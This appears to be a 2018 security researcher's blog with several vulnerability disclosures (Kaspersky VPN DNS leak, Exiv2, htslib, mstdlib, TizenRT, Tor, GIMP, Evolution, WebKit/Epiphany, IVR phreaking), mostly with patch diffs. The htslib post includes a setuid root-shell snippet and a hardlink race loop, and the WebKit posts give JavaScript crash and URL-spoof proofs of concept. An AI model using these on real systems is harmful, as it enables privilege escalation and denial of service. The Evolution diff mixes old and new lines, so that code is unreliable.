Pageviews

Thursday, 9 August 2018

A bug that affects million users - Kaspersky VPN

Hi Internet,

Summary:
The issue exists in Kaspersky VPN <=v1.4.0.216  which leaks your DNS Address even after you're connected to any virtual server. (Tested on Android 8.1.0)

What is a DNS leaks ?
In this context, with "DNS leak" it means an unencrypted DNS query sent by your system OUTSIDE the established VPN tunnel.

Kaspersky VPN is one of the most trusted VPN which comes with 1,000,000+ tier downloads in android market, however it was observed that when it connects to any random virtual server still leaks your actual DNS address, this issue was reported too Kaspersky via Hackerone.

Steps to reproduce:
1. Visit IPleak (Note your actual DNS address).
2. Now, connect to any random virtual server using Kaspersky VPN.
3. Once you are successfully connected, navigate to IPleak you will observe that the DNS address still remains the same.

I believe this leaks the trace's of an end user, who wants to remain anonymous on the internet. I reported this vulnerability on Apr 21st (4 months ago) via H1, and a fix was pushed for same but no bounty was awarded.

“Kaspersky Lab would like to thank Dhiraj Mishra for discovering a vulnerability in the Android-based Kaspersky Secure Connection app, which allowed a DNS service to log the domain names of the sites visited by users. This vulnerability was responsibly reported by the researcher, and was fixed in June.

The Kaspersky Secure Connection app is currently out of the scope of the company’s Bug Bounty Program, so we could not reward Dhiraj under the current rules. We highly appreciate his work, and in the future the program may include new products. As stated in Kaspersky Lab’s Bug Bounty Program rules, bounties are currently paid for two major products: Kaspersky Internet Security and Kaspersky Endpoint Security. The company is ready to pay up to $20,000 for the discovery of some bugs in these products, and up to $100,000 for the most severe."

However, this was featured on TheRegister and BleepingComputer.



Regards
Dhiraj 

Thursday, 26 July 2018

misuse of realpath function on POSIX platforms - CVE-2018-14338

Hi Internet,

Product Affected:  Exiv2, a C++ library and a command line utility to read and write Exif, IPTC and XMP image metadata.

Summary:  samples/geotag.cpp in the example code of Exiv2 0.26 misuses the realpath function on POSIX platforms (other than Apple platforms) where glibc is not used, possibly leading to a buffer overflow.

Example:
However their are multiple files in /samples/ which are responsible for their own tests.
conntest.cpp = This file is used when a user needs to test http/https/ftp/ssh/sftp vased connection via exiv2

Similarly I had a look on geotag.cpp file which is responsible for  reading gpx files and update images with GPS tags.
While this file used `realpath()` however realpath function is broken by design - POSIX.1-2001
According to the documentation of `realpath()`  the output buffer needs to be at least of size `PATH_MAX` specifying output buffers large enough to handle the maximum-size possible result from path manipulation functions.

But in geotag.cpp the buffer size was not equal to PATH_MAX nor set to NULL
#ifdef __APPLE__
                    char   buffer[1024];
#else
                    char*  buffer = NULL;
#endif
                    char*  path = realpath(arg,buffer);
                    if  ( t && path ) {
                        if ( options.verbose) printf("%s %ld %s",path,(long int)t,asctime(localtime(&t)));
                        gFiles.push_back(path);
                    }
                    if ( path && path != buffer ) ::free((void*) path);
                }
                if ( type == typeUnknown ) {
                    fprintf(stderr,"error: illegal syntax %s\n",arg);
                    result = resultSyntaxError ;
                }
            } break;
        }
}
However, in that instance, buffer  size comes from `uv__fs_pathmax_size()`. That function attempts to use `pathconf(path, _PC_PATH_MAX)` as noted in the realpath(3) docs. But over here(geotag.cpp) `uv__fs_pathmax_size()` nor `pathconf(path, _PC_PATH_MAX)` is in use.

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include `realpath()` `readlink()` `PathAppend()` and others.

A issue was submitted to exiv2 team and a commit was pushed to patch this issue, to fix this they called `pathconf()` for linux, or they could have simply set `PATH_MAX+1` to resolve this.
diff --git a/samples/geotag.cpp b/samples/geotag.cpp
index 1355827..4da38af 100644
--- a/samples/geotag.cpp
+++ b/samples/geotag.cpp
@@ -806,8 +806,11 @@ int main(int argc,const char* argv[])
                 if ( options.verbose ) printf("%s %s ",arg,types[type]) ;
                 if ( type == typeImage ) {
                     time_t t    = readImageTime(std::string(arg)) ;
-#ifdef __APPLE__
+#if   defined(__APPLE__)
                     char   buffer[1024];
+#elif defined(__gnu_linux__)
+                    char   buffer[_MAX_PATH];
+                    pathconf(arg ,_MAX_PATH);
 #else
                     char*  buffer = NULL;
 #endif
CVE-2018-14338 was assign to this issue, Hope you like the read.
 
Regards
Dhiraj

Thursday, 19 July 2018

race condition in htslib - CVE-2018-14329

Hi Internet,

Product affected: htslib, a C library for high-throughput sequencing data format.

Summary: In HTSlib 1.8, a race condition in `cram/cram_io.c` might allow local users to overwrite arbitrary files via a symlink attack.

File faidx.c
       snprintf(fai_file, PATH_MAX, "%s.fai", fn);
        if (access(fai_file, R_OK) != 0)
            if (fai_build(fn) != 0)
                return NULL;
}
The API for the fai_build* functions is to take a filename. This inherently leaves a race. Code currently does things like :
`if (!access(...)) fai_build()`
or
`if (!open(...)) fai_build()`

Both of these suffer the same problem - an attacker could symlink the file between the access/open check and the decision to rebuild it. This solution makes the build function itself unlink the file and does an exclusive open so it'll fail if someone wins the race between unlink and hopen. There is one small fly in the ointment - we can currently do "samtools faidx s3:foo.fa" and this will open s3:foo.fa.fai. The unlink will fail, so we've now changed behaviour because previously we could overwrite an existing s3 fai file with a new one whereas now we require the user to manually delete their existing one first. Without having an `hunlink()` function we're scuppered on this.
@@ -493,7 +493,12 @@ static int fai_build3_core(const char *fn, const char *fnfai, const char *fngzi)
         goto fail;
     }
 
-    fp = hopen(fnfai, "wb");
+    if (hisremote(fnfai)) {
+        fp = hopen(fnfai, "wb");
+    } else {
+        unlink(fnfai);
+        fp = hopen(fnfai, "wbx");
+    }
 
     if ( !fp ) {
         hts_log_error("Failed to open %s index %s : %s", file_type, fnfai, strerror(errno));
The only possible workaround over here is to validate the filename first, so if the fasta file is fd_backend we use exclusive open, and don't otherwise. This is what is implemented here and a patch was deployed, hope you like the read.

Exploiting: I 'assume' that this can be exploited by hardlink.
exploit.c
#include 
int main()
{
  if (geteuid()!=0) exit(1);
  setuid(geteuid());
  char *args[] = { "/bin/sh", 0 };
  return execve(args[0], args, 0);
}
Trigger an race condition by creating a hardlink to the vulnerable program.
while :; do ln -f ./vulnpoc; ln -f ./exploit; done
Where, the htslib team says, probably this is not the way to exploit,  I hadn't really thought about the hardlink case, although again affecting those only applies to writeable / shared locations, so it's also high improbable to cause bugs either way. Hope you like the read.


Regards
Dhiraj

Friday, 13 July 2018

race condition in mstdlib - CVE-2018-14043

Hi Internet,

Affected Product: mstdlib is designed to provide features not normally found in libc but also to be used in place of libc.

Summary: mstdlib (aka the M Standard Library for C) 1.2.0 has incorrect file access control in situations where `M_fs_perms_can_access` attempts to delete an existing file (that lacks public read/write access) during a copy operation, related to `fs/m_fs.c and fs/m_fs_path.c`. An attacker could create the file and then would have access to the data.

Race Condition: A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. [1]

Outcome: CVE-2018-14043 was assign to this and contributed to M Standard Library for C.

InProcess: I have requested to Internet Bug Bounty Program panel members to consider this for a bounty (fingerscrossed).

Well, this was tough to identify! The file `m_fs_perms_unx.c` on line number 277 use's `access()` to call.
if (access(norm_path, access_mode) == -1) {
If an attacker can change anything along the path between the call `access()` and the files actually used, attacker may exploit the race condition it is possible to make changes to a path between calling M_fs_perms_can_access and doing something with the path. However, this function is conforming to ISO/IEC 9945-1:1990 and the same security considerations apply when using `access()` directly.

As reported with a day quick commit was pushed in master branch.
@@ -101,6 +101,15 @@ static M_bool M_fs_isfileintodir(const char *p1, const char *p2, char **new_p2)
  return M_TRUE;
 }
 
+/* Used by copy and move to determine if we can write to the given path
+ * based on a file already existing there or not.
+ *
+ * access is used to determine existence because we don't want to overwrite
+ * if there already is a file. This is not guaranteed because if there is
+ * a race condition where a file is created after this check it will be
+ * overwritten. Not much we can do about that. It shouldn't pose a security
+ * issue since this is more of a request than a requirement.
+ */
 static M_bool M_fs_check_overwrite_allowed(const char *p1, const char *p2, M_uint32 mode)
 {
  M_fs_info_t  *info = NULL;
@@ -129,8 +138,7 @@ static M_bool M_fs_check_overwrite_allowed(const char *p1, const char *p2, M_uin
 
  if (type != M_FS_TYPE_DIR) {
   /* File exists at path. */
-  if (M_fs_perms_can_access(p2, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS)
-  {
+  if (M_fs_perms_can_access(p2, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS) {
    ret = M_FALSE;
    goto done;
   }
@@ -209,19 +217,6 @@ static M_fs_error_t M_fs_copy_file(const char *path_old, const char *path_new, M
  size_t         offset;
  M_fs_error_t   res;
 
- /* We're going to create/open/truncate the new file, then as we read the contents from the old file we'll write it
-   * to new file. */
- if (M_fs_perms_can_access(path_new, M_FS_PERMS_MODE_NONE) == M_FS_ERROR_SUCCESS) {
-  /* Try to delete the file since we'll be overwrite it. This is so when we create the file we create it without
-    * any permissions and to ensure that anything that has the file already open won't be able to read the new
-   * contents we're writing to the file or be able to change the perms. There is an unavoidable race condition
-   * between deleting and creating the file where someone could create the file and have access. However,
-   * depending on the OS they may have access even if the file is created with no perms... */
-  res = M_fs_delete(path_new, M_FALSE, NULL, M_FS_PROGRESS_NOEXTRA);
-  if (res != M_FS_ERROR_SUCCESS) {
-   return res;
-  }
- }
  /* Open the old file */
  res = M_fs_file_open(&fd_old, path_old, M_FS_BUF_SIZE, M_FS_FILE_MODE_READ|M_FS_FILE_MODE_NOCREATE, NULL);
  if (res != M_FS_ERROR_SUCCESS) {
@@ -236,6 +231,9 @@ static M_fs_error_t M_fs_copy_file(const char *path_old, const char *path_new, M
   }
   perms = M_fs_info_get_perms(info);
  }
+
+ /* We're going to create/open/truncate the new file, then as we read the contents from the old file we'll write it
+  * to new file. */
  res = M_fs_file_open(&fd_new, path_new, M_FS_BUF_SIZE, M_FS_FILE_MODE_WRITE|M_FS_FILE_MODE_OVERWRITE, perms);
  M_fs_info_destroy(info);
  if (res != M_FS_ERROR_SUCCESS) {
@@ -333,7 +331,7 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode
  }
 
  /* Normalize the old path and do basic checks that it exists. We'll leave really checking that the old path
-   * existing to rename because any check we perform may not be true when rename is called. */
+  * existing to rename because any check we perform may not be true when rename is called. */
  res = M_fs_path_norm(&norm_path_old, path_old, M_FS_PATH_NORM_RESALL, M_FS_SYSTEM_AUTO);
  if (res != M_FS_ERROR_SUCCESS) {
   M_free(norm_path_new);
@@ -351,7 +349,7 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode
   return res;
  }
 
-  /* There is a race condition where the path could not exist but be created between the exists check and calling
+ /* There is a race condition where the path could not exist but be created between the exists check and calling
   * rename to move the file but there isn't much we can do in this case. copy will delete and the file so this
   * situation won't cause an error. */
  if (!M_fs_check_overwrite_allowed(norm_path_old, norm_path_new, mode)) {
@@ -399,15 +397,15 @@ M_fs_error_t M_fs_move(const char *path_old, const char *path_new, M_uint32 mode
    res = M_fs_delete(norm_path_old, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);
   } else {
    /* Failure - Delete the new files that were copied but only if we are not overwriting. We don't
-     * want to remove any existing files (especially if the dest is a dir). */
+    * want to remove any existing files (especially if the dest is a dir). */
    if (!(mode & M_FS_FILE_MODE_OVERWRITE)) {
     M_fs_delete(norm_path_new, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);
    }
    res = M_FS_ERROR_GENERIC;
   }
  } else {
   /* Call the cb with the result of the move whether it was a success for fail. We call the cb only if the
-    * result of the move is not M_FS_ERROR_NOT_SAMEDEV because the copy operation will call the cb for us. */
+   * result of the move is not M_FS_ERROR_NOT_SAMEDEV because the copy operation will call the cb for us. */
   if (cb) {
    M_fs_progress_set_result(progress, res);
    if (!cb(progress)) {
@@ -465,7 +463,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode
  }
 
  /* Normalize the old path and do basic checks that it exists. We'll leave really checking that the old path
-   * existing to rename because any check we perform may not be true when rename is called. */
+  * existing to rename because any check we perform may not be true when rename is called. */
  res = M_fs_path_norm(&norm_path_old, path_old, M_FS_PATH_NORM_RESALL, M_FS_SYSTEM_AUTO);
  if (res != M_FS_ERROR_SUCCESS) {
   M_free(norm_path_new);
@@ -485,7 +483,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode
 
  type = M_fs_info_get_type(info);
 
-  /* There is a race condition where the path could not exist but be created between the exists check and calling
+ /* There is a race condition where the path could not exist but be created between the exists check and calling
   * rename to move the file but there isn't much we can do in this case. copy will delete and the file so this
   * situation won't cause an error. */
  if (!M_fs_check_overwrite_allowed(norm_path_old, norm_path_new, mode)) {
@@ -497,7 +495,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode
 
  entries = M_fs_dir_entries_create();
  /* No need to destroy info  because it's now owned by entries and will be destroyed when entries is destroyed.
-   * M_FS_DIR_WALK_FILTER_READ_INFO_BASIC doesn't actually get the perms it's just there to ensure the info is
+  * M_FS_DIR_WALK_FILTER_READ_INFO_BASIC doesn't actually get the perms it's just there to ensure the info is
   * stored in the entry. */
  M_fs_dir_entries_insert(entries, M_fs_dir_walk_fill_entry(norm_path_new, NULL, type, info, M_FS_DIR_WALK_FILTER_READ_INFO_BASIC));
  if (type == M_FS_TYPE_DIR) {
@@ -523,7 +521,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode
 
    type = M_fs_dir_entry_get_type(entry);
    /* The total isn't the total number of files but the total number of operations. 
-     * Making dirs and symlinks is one operation and copying a file will be split into
+    * Making dirs and symlinks is one operation and copying a file will be split into
     * multiple operations. Copying uses the M_FS_BUF_SIZE to read and write in
     * chunks. We determine how many chunks will be needed to read the entire file and
     * use that for the number of operations for the file. */
@@ -600,7 +598,7 @@ M_fs_error_t M_fs_copy(const char *path_old, const char *path_new, M_uint32 mode
  }
 
  /* Delete the file(s) if it could not be copied properly, but only if we are not overwriting.
-   * If we're overwriting then there could be other files in that location (especially if it's a dir). */
+  * If we're overwriting then there could be other files in that location (especially if it's a dir). */
  if (res != M_FS_ERROR_SUCCESS && !(mode & M_FS_FILE_MODE_OVERWRITE)) {
   M_fs_delete(path_new, M_TRUE, NULL, M_FS_PROGRESS_NOEXTRA);
  }
@@ -659,7 +657,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress
  entries = M_fs_dir_entries_create();
 
  /* Recursive directory deletion isn't intuitive. We have to generate a list of files and delete the list.
-   * We cannot delete as walk because not all file systems support that operation. The walk; delete; behavior
+  * We cannot delete as walk because not all file systems support that operation. The walk; delete; behavior
   * is undefined in Posix and HFS is known to skip files if the directory contents is modifies as the
   * directory is being walked. */
  if (type == M_FS_TYPE_DIR && remove_children) {
@@ -671,7 +669,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress
  }
 
  /* Add the original path to the list of entries. This may be the only entry in the list. We need to add
-   * it after a potential walk because we can't delete a directory that isn't empty.
+  * it after a potential walk because we can't delete a directory that isn't empty.
   * Note: 
   *   - The info will be owned by the entry and destroyed when it is destroyed. 
   *   - The basic info param doesn't get the info in this case. it's set so the info is stored in the entry. */
@@ -680,7 +678,7 @@ M_fs_error_t M_fs_delete(const char *path, M_bool remove_children, M_fs_progress
  len = M_fs_dir_entries_len(entries);
  if (cb) {
   /* Create the progress. The same progress will be used for the entire operation. It will be updated with
-    * new info as necessary. */
+   * new info as necessary. */
   progress = M_fs_progress_create();
 
   /* Get the total size of all files to be deleted if using the progress cb and size totals is set. */
PS: Don't try to delete the file when copying. It could cause a security issue if the file exists and doesn't allow other's to read/write, delete could allow someone to create the file and have access to the data.

I am still working on, how to weaponize this bug (I know most of my post say's this but, I am working on all those). Anyways, hope you like the read.

It was not a comprehensive review but addresses the concerns of this ticket. - said by member of mstdlib. 


Regards
Dhiraj

Wednesday, 11 July 2018

strncat() without bounds - Samsung TizenRT

Hi Internet,

Product affected: Samsung TizenRT is a lightweight RTOS-based platform to support low-end IoT devices

Summary: File external/webserver/http_client.c, `strncat()` was being used without calculating the remaining length of the destination string buffer in this case it might allow attackers to trigger a bufferoverflow via a long query that is processed by the `strcat` function.

I feel the risk is high because the length parameter appears to be a constant, instead of computing the number of characters left, anyways a quick patch was pushed for same.
#include 
@@ -593,8 +593,8 @@ void http_handle_file(struct http_client_t *client, int method, const char *url,
         } else
             valid = 1;
         /* Need to create file with unique file name */
-        strncat(path, url, HTTP_CONF_MAX_REQUEST_HEADER_URL_LENGTH);
-        strncat(path, "index.shtml", HTTP_CONF_MAX_REQUEST_HEADER_URL_LENGTH);
+        strncat(path, url, HTTP_CONF_MAX_REQUEST_HEADER_URL_LENGTH - strlen(path));
+        strncat(path, "index.shtml", HTTP_CONF_MAX_REQUEST_HEADER_URL_LENGTH - strlen(path));
         if (valid && (f = fopen(path, "w"))) {
             if (fputs(entity, f) < 0) {
                 HTTP_LOGE("Error: Fail to execute fputs\n");
@@ -619,7 +619,7 @@ void http_handle_file(struct http_client_t *client, int method, const char *url,
             HTTP_LOGE("ERROR: URL length is too long. Cannot send response\n");
         } else
             valid = 1;
-        if (valid && (f = fopen(strncat(path, url, HTTP_CONF_MAX_REQUEST_HEADER_URL_LENGTH), "w"))) {
+        if (valid && (f = fopen(strncat(path, url, HTTP_CONF_MAX_REQUEST_HEADER_URL_LENGTH - strlen(path)), "w"))) {
             if (fputs(entity, f) < 0) {
                 HTTP_LOGE("Error: Fail to execute fputs\n");
                 fclose(f);
@@ -643,7 +643,7 @@ void http_handle_file(struct http_client_t *client, int method, const char *url,
             HTTP_LOGE("ERROR: URL length is too long. Cannot send response\n");
         } else
             valid = 1;
-        if (valid && unlink(strncat(path, url, HTTP_CONF_MAX_REQUEST_HEADER_URL_LENGTH))) {
+        if (valid && unlink(strncat(path, url, HTTP_CONF_MAX_REQUEST_HEADER_URL_LENGTH - strlen(path)))) {
             HTTP_LOGE("fail to delete %s\n", url);
             if (http_send_response(client, 500, HTTP_ERROR_500, NULL) == HTTP_ERROR) {
                 HTTP_LOGE("Error: Fail to send response\n");
Now this prevent `bufferoverflow` by calculating the remaining length of the destination string buffer. Hope you like the read.


Regards
Dhiraj

Wednesday, 4 July 2018

strncat() without bounds - TOR

Hi Internet,


While going through the code of TOR it was observed that `backtrace.c` file which is located at `/src/lib/err/backtrace.c` at line number #L267-L268 was using `strncat()` which can be easily misused.
strncat(version, " ", sizeof(version)-1);
strncat(version, tor_version, sizeof(version)-1);
Example: Incorrectly computing the correct maximum size to add.

But, tor-security team marked this bug has low, because use of `strncat()` is a defence in depth mechanism that doesn't provide as much security as it should. Apart from that it cannot be influenceable by an attacker and they don't have control over this file and the version string.

Still a quick commit (patch) was push directly to the master branch of TOR
#include 
 #include 
 #include 
+#include 
 
 #ifdef HAVE_CYGWIN_SIGNAL_H
 #include 
@@ -264,16 +265,12 @@ dump_stack_symbols_to_error_fds(void)
 int
 configure_backtrace_handler(const char *tor_version)
 {
-  char version[128];
-  strncpy(version, "Tor", sizeof(version)-1);
+  char version[128] = "Tor\0";
 
   if (tor_version) {
-    strncat(version, " ", sizeof(version)-1);
-    strncat(version, tor_version, sizeof(version)-1);
+    snprintf(version, sizeof(version), "Tor %s", tor_version);
   }
 
-  version[sizeof(version) - 1] = 0;
-
   return install_bt_handler(version);
 }
Perhaps the reason `strncat()` was used to avoid including stuff from lib/string, This was nothing such great but hope you like the read.

Regards
Dhiraj

Sunday, 24 June 2018

Insecure Permissions in GIMP - CVE-2018-12713

Hi Internet,

#ShortPost

Summary: GIMP through 2.10.2 makes g_get_tmp_dir calls to establish temporary filenames, which may result in a filename that already exists, as demonstrated by the gimp_write_and_read_file function in app/tests/test-xcf.c. This might be leveraged by attackers to overwrite files or read file content that was intended to be private.
Img Src: https://www.gimp.org/

While having a look on GIMP code I observed that,
File test-xcf.cat#L314  which was;
filename = g_build_filename (g_get_tmp_dir (), "gimp-test.xcf", NULL);
The function with 'getenv("TMP")';it returns untrustable input. This issue was reported to GNOME GIMP team and a patch was pushed.

   GimpImage           *image;
   GimpImage           *loaded_image;
   GimpPlugInProcedure *proc;
-  gchar               *filename;
+  gchar               *filename = NULL;
+  gint                 file_handle;
   GFile               *file;
 
   /* Create the image */
@@ -311,7 +312,9 @@ gimp_write_and_read_file (Gimp     *gimp,
                          use_gimp_2_8_features);
 
   /* Write to file */
-  filename = g_build_filename (g_get_tmp_dir (), "gimp-test.xcf", NULL);
+  file_handle = g_file_open_tmp ("gimp-test-XXXXXX.xcf", &filename, NULL);
+  g_assert (file_handle != -1);
+  close (file_handle);
   file = g_file_new_for_path (filename);
   g_free (filename);
Not sure this is really solving the issue reported, which is that `g_get_tmp_dir()` uses environment variables (yet as g_file_open_tmp() uses g_get_tmp_dir()…). But at least g_file_open_tmp() should create unique temporary files, which prevents overriding existing files (which is most likely the only real attack possible here, or at least the only one I can think of unless some weird vulnerabilities exist in glib) CVE-2018-12713 was assigned to this issue.


Regards
Dhiraj

Friday, 15 June 2018

bufferoverflow() in evolution - CVE-2018-12422

Hi Internet,

#ShortPost

Evolution is a personal information management application that provides integrated mail, calendaring and address book functionality.

While going through the source code of GNOME evolution we observed that,

`addressbook/backends/ldap/e-book-backend-ldap.c` in Evolution-Data-Server in GNOME Evolution through 3.29.2 might allow attackers to trigger a Buffer Overflow via a long query that is processed by the `strcat ` function, CVE-2018-12422 was assigned to this issue.

We reported this to GNOME Evolution team and a patch was pushed for same, below code for your reference.

		if (!strcmp (propname, "x-evolution-any-field")) {
			gint i;
			gint query_length;
			gchar *big_query;
			GString *big_query;
			gchar *match_str;
			if (one_star) {
				g_free (str);

			match_str = g_strdup_printf ("=*%s*)", str);

			query_length = 3; /* strlen ("(|") + strlen (")") */

			for (i = 0; i < G_N_ELEMENTS (prop_info); i++) {
				query_length += 1 /* strlen ("(") */ + strlen (prop_info[i].ldap_attr) + strlen (match_str);
			}

			big_query = g_malloc0 (query_length + 1);
			strcat (big_query, "(|");
			big_query = g_string_sized_new (G_N_ELEMENTS (prop_info) * 7);
			g_string_append (big_query, "(|");
			for (i = 0; i < G_N_ELEMENTS (prop_info); i++) {
				if ((prop_info[i].prop_type & PROP_TYPE_STRING) != 0 &&
				    !(prop_info[i].prop_type & PROP_WRITE_ONLY) &&
				     !(prop_info[i].prop_type & PROP_EVOLVE)) &&
				    (ldap_data->bl->priv->calEntrySupported ||
				     !(prop_info[i].prop_type & PROP_CALENTRY))) {
					strcat (big_query, "(");
					strcat (big_query, prop_info[i].ldap_attr);
					strcat (big_query, match_str);
					g_string_append (big_query, "(");
					g_string_append (big_query, prop_info[i].ldap_attr);
					g_string_append (big_query, match_str);
				}
			}
			strcat (big_query, ")");
			g_string_append (big_query, ")");

			ldap_data->list = g_list_prepend (ldap_data->list, big_query);
			ldap_data->list = g_list_prepend (ldap_data->list, g_string_free (big_query, FALSE));

			g_free (match_str);
		}

		if (!strcmp (propname, "x-evolution-any-field")) {
			gint i;
			gint query_length;
			gchar *big_query;
			GString *big_query;
			gchar *match_str;

			match_str = g_strdup ("=*)");

			query_length = 3; /* strlen ("(|") + strlen (")") */

			for (i = 0; i < G_N_ELEMENTS (prop_info); i++) {
				query_length += 1 /* strlen ("(") */ + strlen (prop_info[i].ldap_attr) + strlen (match_str);
			}

			big_query = g_malloc0 (query_length + 1);
			strcat (big_query, "(|");
			big_query = g_string_sized_new (G_N_ELEMENTS (prop_info) * 7);
			g_string_append (big_query, "(|");
			for (i = 0; i < G_N_ELEMENTS (prop_info); i++) {
				if (!(prop_info[i].prop_type & PROP_WRITE_ONLY) &&
				    (ldap_data->bl->priv->evolutionPersonSupported ||
				     !(prop_info[i].prop_type & PROP_EVOLVE)) &&
				    (ldap_data->bl->priv->calEntrySupported ||
				     !(prop_info[i].prop_type & PROP_CALENTRY))) {
					strcat (big_query, "(");
					strcat (big_query, prop_info[i].ldap_attr);
					strcat (big_query, match_str);
					g_string_append (big_query, "(");
					g_string_append (big_query, prop_info[i].ldap_attr);
					g_string_append (big_query, match_str);
				}
			}
			strcat (big_query, ")");
			g_string_append (big_query, ")");

			ldap_data->list = g_list_prepend (ldap_data->list, big_query);
			ldap_data->list = g_list_prepend (ldap_data->list, g_string_free (big_query, FALSE));

			g_free (match_str);
		}

Source : https://gitlab.gnome.org/GNOME/evolution-data-server/commit/34bad61738e2127736947ac50e0c7969cc944972?view=inline

Mention's:
A shoutout to Zubin and Hardik we work together to find security bugs, Hope you like the read.


Regards
Dhiraj

Friday, 1 June 2018

WebKit crashes when pageURL is unset - CVE-2018-11646

Hi Internet,

This bug is continuation of CVE-2018-11396 - BFuzz.

Summary:
webkitFaviconDatabaseSetIconURLForPageURL in UIProcess/AP/glib/WebKitFaviconDatabase.cpp in WebKit, as distributed in Safari Technology Preview Release 57, mishandles an unset pageURL, leading to an application crash.

PoC:
win = window.open("sleep_one_second.php", "WIN"); 
window.open("https://www.paypal.com", "WIN");  
win.document.execCommand('Stop');              
win.document.write("Spoofed URL");   
win.document.close();
After the patch of CVE-2018-11396 in Epiphany web browser with PoC still browser was getting crash using above JS. Unfortunately the gdb crash makes it impossible to get a full trace, so it was  hard to know for sure if this is an Epiphany bug or a WebKit bug and epiphany team started investigating the same.

Below is the backtrace using Fedora 27.
#0 WTF::StringImpl::rawHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
#1 WTF::StringImpl::hasHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
#2 WTF::StringImpl::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
#3 WTF::StringHash::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
#9 WTF::HashMap, WTF::HashTraits >::get
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
#10 webkitFaviconDatabaseSetIconURLForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
#11 webkitFaviconDatabaseSetIconForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
#12 webkitWebViewSetIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
#13 WTF::Function::performCallbackWithReturnValue
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
#15 WebKit::WebPageProxy::dataCallback
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
#16 WebKit::WebPageProxy::finishedLoadingIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
#17 IPC::callMemberFunctionImpl::operator()
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
#29 WTF::RunLoop::::_FUN(gpointer)
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
#30 g_main_dispatch
at gmain.c line 3148
#31 g_main_context_dispatch
at gmain.c line 3813
#32 g_main_context_iterate
at gmain.c line 3886
#33 g_main_context_iteration
at gmain.c line 3947
#34 g_application_run
at gapplication.c line 2401
#35 main
at ../src/ephy-main.c line 432 
Two similar reproducers triggered two different crashes. We concluded that this crash is from WebKit (Crash in WebKitFaviconDatabase when pageURL is unset) and bug was file for same and CVE-2018-11646 was assigned to this issue.

Mention's:
A shoutout to Zubin and Hardik (Teamw00t) we work together to find security bugs, Hope you like the read.


Regards
Dhiraj (Teamw00t)

Monday, 28 May 2018

Abusing IVR Systems - Legacy Telecom [CVE-2018-11518]

Hi Internet,

#ShortPost
 
CVE-2018-11518, (Everything old, is new again.)
A vulnerability allows a phreaking attack on HCL legacy IVR systems that do not use VoIP. These IVR systems rely on various frequencies of audio signals; based on the frequency, certain commands and functions are processed. Since these frequencies are accepted within a phone call, an attacker can record these frequencies and use them to activate services or to get sensitive information.

PS: This is a request-forgery issue when the required series of DTMF signals for a service activation is predictable (e.g., the IVR system does not speak a nonce to the caller). In this case, the IVR system accepts an activation request from a less-secure channel (any loudspeaker in the caller's physical environment) without verifying that the request was intended (it matches a nonce sent over a more-secure channel to the caller's earpiece).

Video PoC: Phreak Attack


Regards
Dhiraj

Wednesday, 23 May 2018

A story of CVE-2018-11396 - BFuzz

Hi Internet,

Summary:
ephy-session.c in libephymain.so in GNOME Web (aka Epiphany) through 3.28.2.1 allows remote attackers to cause a denial of service (application crash) via JavaScript code that triggers access to a NULL URL, as demonstrated by a crafted window.open call.

Let's get started,
Few days back we (Team w00t) created an small framework which fuzz browser's, basically its more of an automation we named it as BFuzz.

BFuzz takes .html & .xml as an input, open's up your browser with a new instance and pass multiple testcases which is present in recurve folder of BFuzz, we can simply keep adding testcases in recurve
Manuel Caballero‏ tweeted about MS Edge - Address Bar Spoof, which we came across, we minimized the testcase and added that to BFuzz which was causing  crash in Epiphany, a GNOME based browser.

Testcase:
win = window.open("hello world!");
We reported this to Epiphany dev team in an hour the bug was changed from HIGH to CRITICAL. and team started working on it, below is the stack trace for reference.

ftw@ftw-box:~$ gdb epiphany
(gdb) run
Starting program: /usr/bin/epiphany 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fffe08bc700 (LWP 2279)]
[New Thread 0x7fffdee51700 (LWP 2280)]
[New Thread 0x7fffde650700 (LWP 2281)]
